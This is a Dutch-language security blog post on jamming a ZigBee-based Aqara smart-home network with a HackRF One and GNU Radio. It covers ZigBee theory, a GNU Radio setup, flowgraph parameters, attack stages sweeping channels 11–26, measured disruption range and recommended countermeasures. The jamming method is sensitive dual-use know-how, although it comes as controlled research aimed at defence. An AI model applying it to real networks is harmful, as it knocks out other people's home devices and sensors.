* VulnCheck advisory, MetInfo CMS Unauthenticated PHP Code Injection RCE: https://www.vulncheck.com/advisories/metinfo-cms-unauthenticated-php-code-injection-rce

MetInfo CMS 7.9.0 tot en met 8.1.0 bevat een ongeauthenticeerde PHP-code-injectie via de WeChat-module, met risico op remote code execution.

CVE-2026-29014, ongeauthenticeerde PHP-code-injectie in MetInfo

MetInfo CMS 7.9.0 through 8.1.0 is affected by an unauthenticated PHP code injection flaw that can lead to remote code execution via the WeChat module.

CVE-2026-29014, MetInfo CMS unauthenticated PHP code injection

wezo(zer0condition)

Dit artikel gaat dieper in op de werking van de Intel-hypervisor en hoe de tool Ophion erin slaagt om systeemdetectie volledig te omzeilen.

Ophion: Een verborgen Intel VT-x hypervisor bouwen voor Windows

Ophion is a stealth Intel VT-x hypervisor that virtualizes Windows while passing AC, AV, and VM-detection checks. This article covers how it works and how it evades detection.

Ophion: Building a Stealth Intel VT-x Hypervisor for Windows

### Abstract

Dit onderzoek beschrijft de resultaten van een experimentele studie gericht op het bewust verstoren (jamming) van een ZigBee-gebaseerd draadloos smart home netwerk met behulp van een software-defined radio (SDR) platform, HackRF, in combinatie met GNU Radio. Het onderzoeksobject was een commercieel Aqara smart home systeem dat opereert binnen het 2.4 GHz ZigBee-spectrum. Alle testen zijn uitgevoerd onder gecontroleerde omstandigheden binnen de EU, met strikte naleving van veiligheids- en wettelijke richtlijnen. De resultaten bevestigen de hoge effectiviteit van SDR-gebaseerde tools bij het misbruiken van zwakheden in draadloze protocollen en bieden handvatten voor mogelijke verdedigingsmechanismen tegen gerichte interferentie.

### ZigBee

ZigBee (IEEE 802.15.4) blijft een dominant protocol in smart homes voor consumenten en prosumers dankzij het lage energieverbruik, de mesh-topologie en het brede ecosysteem van apparaten. Net als bij andere technologieën in de ongelicentieerde band is de betrouwbaarheid afhankelijk van een redelijk ongestoord stukje spectrum. Terwijl vertrouwelijkheid en integriteit over de ether op hogere lagen worden afgedwongen, kan een vastberaden aanvaller, of een bron van slordige interferentie, de dienst toch blokkeren door het medium te verzadigen.

Eerder werk heeft de theorie en tooling rondom RF-interferentie tegen low-power PANs (Personal Area Networks) al verkend. Onze bijdrage is een gerichte, praktijkgedreven evaluatie in een huiselijke omgeving met standaard verkrijgbare apparatuur en een reproduceerbare (maar ethisch begrensde) methodologie.\
\
Het primaire doel van dit onderzoek is om, vanuit een realistische, empirische invalshoek, te beoordelen hoe resistent een `Aqara`-gebaseerd `ZigBee`-ecosysteem is tegen gerichte RF-interferentie die wordt geïntroduceerd via HackRF en open-source software (GNU Radio). Daarmee willen we systemische kwetsbaarheden blootleggen en concrete tegenmaatregelen voorstellen voor toekomstige implementaties.

### Een beetje theorie

**ZigBee Protocol** `ZigBee` werkt in de wereldwijd beschikbare `2.4 GHz` ISM-band (`2400–2483.5 MHz`) en gebruikt 16 kanalen van elk `5 MHz` breed. Het protocol gebruikt CSMA/CA (Carrier Sense Multiple Access with Collision Avoidance) als mechanisme voor kanaaltoegang, wat op papier een zekere robuustheid tegen willekeurige ruis en interferentie biedt. Gerichte `RF`-aanvallen zijn echter een heel ander verhaal.

**HackRF Software-Defined Radio** HackRF is een open-hardware SDR die kan opereren over een zeer groot frequentiebereik (1 MHz tot 6 GHz). Met een sample rate tot `20` MSPS en ondersteuning voor `8`-bit quadrature `I/Q` data maakt `HackRF` zowel signaalopname als signaalinjectie mogelijk. Het maximale zendvermogen van ongeveer `30 mW` is veilig voor experimenten binnenshuis, maar krachtig genoeg om op korte afstand merkbare verstoring te veroorzaken. Vanuit het perspectief van een aanvaller is `HackRF` een veelzijdig en potent wapen in het `RF`-domein.

**GNU Radio** GNU Radio is een modulair, open-source signaalverwerkingstoolkit met een GUI flowgraph builder (GNU Radio Companion) en een uitgebreide bibliotheek met DSP-componenten. In deze context is GNU Radio gebruikt om een `ZigBee`-band jammer te bouwen, gericht op specifieke kanalen met gecontroleerde ruispatronen.\
\
**Oké, maar hoe “praat” ZigBee (en waarom is dat belangrijk)?**

`ZigBee` draait bovenop IEEE 802.15.4 in de 2.4 GHz ISM-band. De fysieke laag is ontworpen voor lage datasnelheden en lange batterijduur: korte frames, smalle kanalen en beperkt zendvermogen. Medium access werkt via CSMA/CA: een device luistert en als het kanaal druk lijkt, wacht het; klinkt het rustig, dan wordt er verzonden en wordt een ACK verwacht. Wanneer de ether “luidruchtig” wordt, treden grofweg twee effecten op:

* Clear-channel assessment faalt vaker, waardoor devices herhaaldelijk moeten backoffen.
* ACKs komen niet aan (omdat frames beschadigd zijn), waardoor devices opnieuw proberen totdat ze opgeven.

In geen van beide gevallen is er sprake van een compromis van de cryptografie. Het gaat puur om congestie op de meest fundamentele laag.

### Jamming in vogelvlucht (conceptueel)

Je kunt jamming zien als kunstmatig, langdurig “slecht weer” op de frequentie die ZigBee gebruikt. Grofweg bestaan er twee vormen:

* **Brede/continue interferentie**: een constante ruis die het kanaal vrijwel permanent “bezet” maakt en voorkomt dat nieuwe transmissies worden gestart.
* **Reactieve/gerichte interferentie**: korte pulsjes die precies samenvallen met lopende frames, waardoor deze onleesbaar worden en devices geen ACKs meer krijgen.

Daarnaast bestaat er onbedoelde “jamming”: magnetrons, slecht afgeschermde voedingen of zeer drukke Wi-Fi kunnen het `2.4 GHz`-spectrum eveneens overspoelen. In de praktijk moeten verdedigers rekening houden met zowel kwaadwillige als toevallige interferentie, omdat de symptomen voor het netwerk vaak sterk op elkaar lijken.

### Hacking arsenal

Voor de implementatie maken we gebruik van de volgende hardware en software:

\- HackRF One software-defined radio:

![photo\_2025-05-27\_12-36-08.jpg](https://websec-public.ams3.digitaloceanspaces.com/public/blog/636b67e3cc690ab343826d44/691f6513-22bd-4420-ab73-bc563b4d700f/photo_2025-05-27_12-36-08.jpg)

\- Computer met GNU Radio geïnstalleerd:

![2025-05-27\_12-37.png](https://websec-public.ams3.digitaloceanspaces.com/public/blog/636b67e3cc690ab343826d44/5054c3be-3e10-4033-96da-1f86c4aefe1b/2025-05-27_12-37.png)

\- Aqara Hub:

![2025-05-27\_12-39.png](https://websec-public.ams3.digitaloceanspaces.com/public/blog/636b67e3cc690ab343826d44/95f6a874-4d5e-429e-abf6-5265ac6b04c2/2025-05-27_12-39.png)

\- Aqara Temperature and Humidity Sensor:

![2025-05-27\_12-41.png](https://websec-public.ams3.digitaloceanspaces.com/public/blog/636b67e3cc690ab343826d44/ce83dcba-afc7-418a-b449-816d86e6c867/2025-05-27_12-41.png)

\- Aqara TVOC Air Quality Sensor:

![2025-08-13\_07-44.png](https://websec-public.ams3.digitaloceanspaces.com/public/blog/636b67e3cc690ab343826d44/9642c7b4-86c4-4059-84aa-ad9e39603910/2025-08-13_07-44.png)

De software-defined radio HackRF One is via verschillende online winkels te koop, zoals AliExpress, TaoBao, enzovoort.

Link naar de officiële website: <https://greatscottgadgets.com/hackrf/one/>

![2025-08-13\_07-46.png](https://websec-public.ams3.digitaloceanspaces.com/public/blog/636b67e3cc690ab343826d44/cde90da0-ec5f-4fcf-beef-be716873e655/2025-08-13_07-46.png)

**GNU Radio Jammer Design**\
Met GNU Radio Companion is een custom jamming-flowgraph ontworpen. Belangrijke modules zijn:

**Signal Source** Een generator van een ruisachtig (noise-like) signaal met instelbare amplitude en frequentie.

**Spectrum Shaping Filter** Vormt het signaal zodat het overeenkomt met de `5 MHz` kanaalbreedte van ZigBee.

**Frequency Controller** Sweeped sequentieel door de ZigBee-kanalen 11 tot en met 26.

**osmocom Sink** Stuurt het gesynthetiseerde signaal naar de HackRF voor RF-uitzending.

Het systeem is zo gekalibreerd dat het lang genoeg op elk kanaal “blijft hangen” om merkbare interferentie te veroorzaken, terwijl de volledige ZigBee-band gedekt blijft.

![6.png](https://websec-public.ams3.digitaloceanspaces.com/public/blog/636b67e3cc690ab343826d44/3e9cd29e-2b33-457c-a445-4209d3485dd4/6.png)![1.png](https://websec-public.ams3.digitaloceanspaces.com/public/blog/636b67e3cc690ab343826d44/56d312b1-b2b8-44ee-8e80-08ae59f2ef3f/1.png)

Alle experimenten vonden plaats binnenshuis onder herhaalbare, gecontroleerde omstandigheden:

* Het Aqara-systeem is geconfigureerd en gevalideerd onder normale bedrijfsomstandigheden.
* Communicatiestatistieken zijn verzameld om een baseline vast te leggen.
* Jamming is sequentieel gestart op elk ZigBee-kanaal.
* Tijden tot verbindingverlies en systeemrespons zijn gelogd.
* Tests zijn herhaald met en zonder fysieke obstakels in de omgeving.

**Voor volledige functionaliteit moeten we GNU Radio installeren.**\
GNU Radio is een gratis en open source platform voor het ontwikkelen van software-defined radio systemen (SDR, Software Defined Radio).

Hieronder volgt een korte instructie voor installatie van GNU Radio op Ubuntu.

Allereerst installeren we de benodigde pakketten:

```css
sudo apt install gnuradio gr-osmosdr git cmake g++ libboost-all-dev libgmp-dev swig doxygen libfftw3-dev python3-numpy python3-mako python3-sphinx python3-lxml
```

![1.png](https://websec-public.ams3.digitaloceanspaces.com/public/blog/636b67e3cc690ab343826d44/2fff89d7-6a81-4e12-8852-cd8aeec4e96f/1.png)

Om succesvol met `IEEE 802.15.4` in GNU Radio te kunnen werken, moeten we de add-on van <https://github.com/bastibl/gr-ieee802-15-4.git> installeren:

![2025-05-27\_12-43.png](https://websec-public.ams3.digitaloceanspaces.com/public/blog/636b67e3cc690ab343826d44/9460429a-f88e-49b4-a1ee-c821f747891a/2025-05-27_12-43.png)

Clonen:

```bash
git clone https://github.com/bastibl/gr-ieee802-15-4.git
```

![2.png](https://websec-public.ams3.digitaloceanspaces.com/public/blog/636b67e3cc690ab343826d44/729dcf6e-3166-4dfd-814b-c94fb35fe22e/2.png)

Vervolgens bouwen en installeren we de module met de volgende commando’s:

```bash
cd gr-ieee802-15.4
mkdir build
cd build
cmake ..
make
```

![3.png](https://websec-public.ams3.digitaloceanspaces.com/public/blog/636b67e3cc690ab343826d44/2fec023d-76b2-4c41-8e6e-5be514d0f15d/3.png)![4.png](https://websec-public.ams3.digitaloceanspaces.com/public/blog/636b67e3cc690ab343826d44/8b672adc-d957-4d6d-a1b2-c375c0e78da1/4.png)

Installeren:

```bash
sudo make install
```

![5.png](https://websec-public.ams3.digitaloceanspaces.com/public/blog/636b67e3cc690ab343826d44/442e3572-2de7-4a77-9323-7cf921359b97/5.png)

Daarna starten we GNU Radio Companion, waarin we de benodigde blokken kunnen plaatsen:

```kotlin
gnuradio-companion
```

![6.png](https://websec-public.ams3.digitaloceanspaces.com/public/blog/636b67e3cc690ab343826d44/a2702ea5-4e43-4495-988d-fa565e9804f7/6.png)![7.png](https://websec-public.ams3.digitaloceanspaces.com/public/blog/636b67e3cc690ab343826d44/13113365-d740-4548-9952-666e6ece6052/7.png)

Het schema dat we nodig hebben:

![8.png](https://websec-public.ams3.digitaloceanspaces.com/public/blog/636b67e3cc690ab343826d44/a822b7bf-3c56-4319-8b7e-8b57fa61ba8f/8.png)

Laten we kort toelichten wat elk blok doet:

**Options**

Doel: algemene instellingen van de flow.

```vbnet
Title: Naam van het schema, bijvoorbeeld "IEEE 802...Transceiver"
Author: Auteur van het project
Description: Korte beschrijving, bijvoorbeeld "simulated receiver"
Output Language: Python (codegeneratie)
Generate Options: QT GUI (QT-interface wordt gebruikt)
Realtime Scheduling: On (vraagt om hogere prioriteit in het OS)
```

**2. Variables**

```ini
Variable "freq" = 2.42G
Variable "samp_rate" = 4M Samplerate 4 MHz
```

**QT GUI Label**

Deze blokken tonen parameterwaarden in de GUI:

```sql
page_label: Toont "Channel Page"
freq_label: Toont de huidige frequentie in GHz, bijvoorbeeld 2.42
```

Worden vooral gebruikt voor visualisatie en debugging.

**QT GUI Chooser**

Maakt het mogelijk om een kanaal te kiezen uit een lijst (bijvoorbeeld 11, 12, 13, ..., 14).

Wordt gebruikt om de frequentie te wisselen die hoort bij een ZigBee-kanaal.

`osmocom` **Source**

Dit is het hoofdblok dat verbinding maakt met de SDR-ontvanger.

Belangrijke parameters:

```vbnet
Sample Rate: 4 MHz
Frequency: 2.42 GHz
Gain: Diverse gain-waarden
BB Gain: 16
Sync: "Don’t Sync" klokgeneratoren niet synchroniseren
```

Werkt met SDR-hardware via Osmocom.

**IEEE802.15.4 OQPSK PHY**

Dit blok implementeert de fysieke laag van IEEE 802.15.4:

```css
Ontvangt het signaal van het osmocom Source-blok en decodeert dit naar pakketten.
Gebruikt OQPSK (Offset Quadrature Phase Shift Keying) modulatie.
```

**Null Sink**

Inactieve output.

Doel: data op deze uitgang negeren, bijvoorbeeld voor debugging of het “uitschakelen” van een pad.

Opmerking: "Not using tx, disabled." transmissie wordt hier niet gebruikt.

**Wireshark Connector**

Stuurt pakketten door naar Wireshark voor protocolanalyse.

Technology: ZigBee

Debug: Disabled

**File Sink**

Schrijft outputpakketten naar een PCAP-bestand (compatibel met Wireshark).

```vbnet
Path: /tmp/ieee802154-c.pcap
Unbuffered: Enabled (direct wegschrijven)
Append file: Uitgeschakeld (bestand wordt per run overschreven)
```

**Message Debug**

Print pakketten en berichten voor debugging.

```text
print_pdu: Print elke PDU (Protocol Data Unit)
store: Slaat PDU’s op voor nadere analyse
```

De algemene opstelling van de aanval ziet er als volgt uit:

![10.png](https://websec-public.ams3.digitaloceanspaces.com/public/blog/636b67e3cc690ab343826d44/563e7047-d965-4952-b7d3-152627761dbb/10.png)

In deze configuratie kan de aanval de verbindingen tussen de Aqara Hub, de Aqara TVOC Air en de Aqara Temperature/Humidity sensor verstoren.

### Hacking example: aanvalsstadia

**Stap 1: ZigBee-kanaalreconnaissance**

ZigBee gebruikt `16` kanalen in de `2.4 GHz`-band:

van `2405 MHz` (kanaal `11`) tot `2480 MHz` (kanaal `26`) in stappen van `5 MHz`.

Doel:

Bepalen op welk kanaal de doelapparaten werken (of alle `16` kanalen tegelijk jammen).

**Stap 2: SDR-configuratie**

We gebruiken de `HackRF One` in transmit (`TX`) modus om een jamming-signaal te genereren.

**Stap 3: opzetten van een GNU Radio-flowgraph**

![7.png](https://websec-public.ams3.digitaloceanspaces.com/public/blog/636b67e3cc690ab343826d44/e0df796d-08aa-4b59-9255-7c545ee67d70/7.png)

Belangrijke blokken:

* **Signal Source** Generator voor white noise of een gemoduleerd signaal.
* **Spectrum Shaping** Beperkt het signaal tot de `5 MHz` kanaalbreedte van `ZigBee`.
* **Frequency Sweep** Doorloopt de frequenties van `2405` tot `2480` MHz.
* **HackRF Sink** Zendt het signaal via de `HackRF One`.

**Stap 4: Uitvoeren van de aanval**

We starten de interferentiestroom op één of meerdere kanalen.

Resultaat:

***Het Aqara-systeem verliest de verbinding.***

* Realtime interface-updates verdwijnen.
* Het toevoegen van nieuwe devices lukt niet.
* Het systeem probeert de verbinding herhaaldelijk te herstellen.

**Stap 5: Meten van de effectiviteit**

* Tijd tot verbindingverlies: circa `10–20` seconden na start jamming.
* Jamming-bereik in open ruimte: tot `3 m`.
* Met een obstakel (muur van 20 cm): circa `1 m`.

### Resultaten

**Effectiviteit van jamming**

`HackRF` in combinatie met GNU Radio bleek zeer effectief in het verstoren van de communicatie:

* **Vertraging tot verbindingverlies**: tussen 10 en 20 seconden na het starten van de jamming.
* **Effectief jamming-bereik**:
 * **Open ruimte: tot 3 meter**
 * **Met een wand van 20 cm als obstakel: circa 1 meter**

**Omgevingsinvloed**

* **Obstakels verkleinden de interferentieradius merkbaar.**
* **Ondanks het lage zendvermogen kon HackRF op korte afstand de communicatie effectief uitschakelen.**
* **Door het sweepen over alle kanalen werd het actieve ZigBee-kanaal altijd meegenomen in de jamming.**

**Systeemgedrag**

Zichtbare effecten:

* **Volledig verlies van de link tussen hub en sensoren**
* **De UI toonde verouderde sensordata**
* **De hub probeerde na het stoppen van de jamming actief opnieuw verbinding op te bouwen**

![5.png](https://websec-public.ams3.digitaloceanspaces.com/public/blog/636b67e3cc690ab343826d44/e8a8ef06-b246-4660-83cd-0bfcff85c672/5.png)

### Beperkingen en toekomstig werk

Ons onderzoek richt zich uitsluitend op de 2.4 GHz-band; sub-GHz ZigBee-profielen en Thread/Matter-dynamieken vielen buiten scope. We hebben geen tests uitgevoerd in gemengde vendor-omgevingen of in hoog-dichte appartementencomplexen met zware interferentie van buren, terwijl dit in de praktijk waarschijnlijk een agressievere RF-omgeving is dan een vrijstaande woning.

Toekomstig werk zou zich moeten richten op:

* het kwantificeren van hersteltijden (distributies in plaats van enkel gemiddelden),
* het vergelijken van kanaal-agility tussen verschillende ecosystemen,
* het beoordelen of multi-PAN-segmentatie de impact van lokale jamming verkleint.

### Samenvatting

Dit onderzoek laat zien dat `ZigBee`-netwerken kwetsbaar zijn voor gerichte RF-jamming, zelfs bij relatief lage vermogens. Hoewel `ZigBee` gebruikmaakt van DSSS (Direct Sequence Spread Spectrum) voor extra robuustheid, draaien veel implementaties in de praktijk met slechts `1–3 mW` zendvermogen, waardoor ze een eenvoudig doelwit vormen voor een gefocuste jammer.

Fysieke barrières bieden gedeeltelijke bescherming, wat in lijn is met theoretische modellen voor RF-verzwakking bij `2.4 GHz`. Dit onderstreept het belang van doordachte plaatsing van apparatuur en “security by design” op infrastructuurniveau.

De bevindingen bevestigen dat SDR-gebaseerde jamming met toegankelijke tools zoals HackRF en GNU Radio ZigBee-communicatie in een smart home-omgeving betrouwbaar kan uitschakelen. Dit wijst op een urgente noodzaak voor robuustere architecturen en failsafe-mechanismen in toekomstige draadloze systemen.

Aanbevolen tegenmaatregelen zijn onder andere:

* **Dynamische channel hopping**
* **Hardware-shielding en RF-isolatie**
* **Anomaliedetectie in het RF-domein**
* **Fallback-communicatie over redundante protocollen**

Dit onderzoek draagt bij aan de groeiende kennisbasis rond SDR-gebaseerde aanvallen en benadrukt de noodzaak van proactieve verdedigingsstrategieën in consumentgerichte draadloze systemen.

### References

[Zigbee - https://en.wikipedia.org/wiki/Zigbee](https://en.wikipedia.org/wiki/Zigbee)

[HackRF One - https://greatscottgadgets.com/hackrf/one/](https://greatscottgadgets.com/hackrf/one/)

[GNU RADIO - https://github.com/gnuradio/gnuradio](https://github.com/gnuradio/gnuradio)

[Aqara Hub - https://www.aqara.com/en/product/hub/](https://www.aqara.com/en/product/hub/)

Research on ZigBee security, interference and SDR attacks using HackRF and GNU Radio in smart home environments.

Websec / Blog
Securing Today. Tomorrow could be too late.

CVE-2026-29014, MetInfo CMS unauthenticated PHP code injection

Ophion: Building a Stealth Intel VT-x Hypervisor for Windows

Research on ZigBee Security, Interference and SDR-Based Attacks

Reverse shells and cats (netCAT, soCAT)

Classic Malware: Carbanak

Malware Analysis example. Classic case: Stuxnet

Static malware analysis of PDF files

Intro to static malware analysis

What is DLL Hijacking? And How Does it Work?

How to Get Into Cybersecurity

Top 10 Best Security Tools for Pentesting

Need Security?

Contact

Websec / Blog Securing Today. Tomorrow could be too late.

CVE-2026-29014, MetInfo CMS unauthenticated PHP code injection

Ophion: Building a Stealth Intel VT-x Hypervisor for Windows

Research on ZigBee Security, Interference and SDR-Based Attacks

Reverse shells and cats (netCAT, soCAT)

Classic Malware: Carbanak

Malware Analysis example. Classic case: Stuxnet

Static malware analysis of PDF files

Intro to static malware analysis

What is DLL Hijacking? And How Does it Work?

How to Get Into Cybersecurity

Top 10 Best Security Tools for Pentesting

Need Security?

Contact

Websec / Blog
Securing Today. Tomorrow could be too late.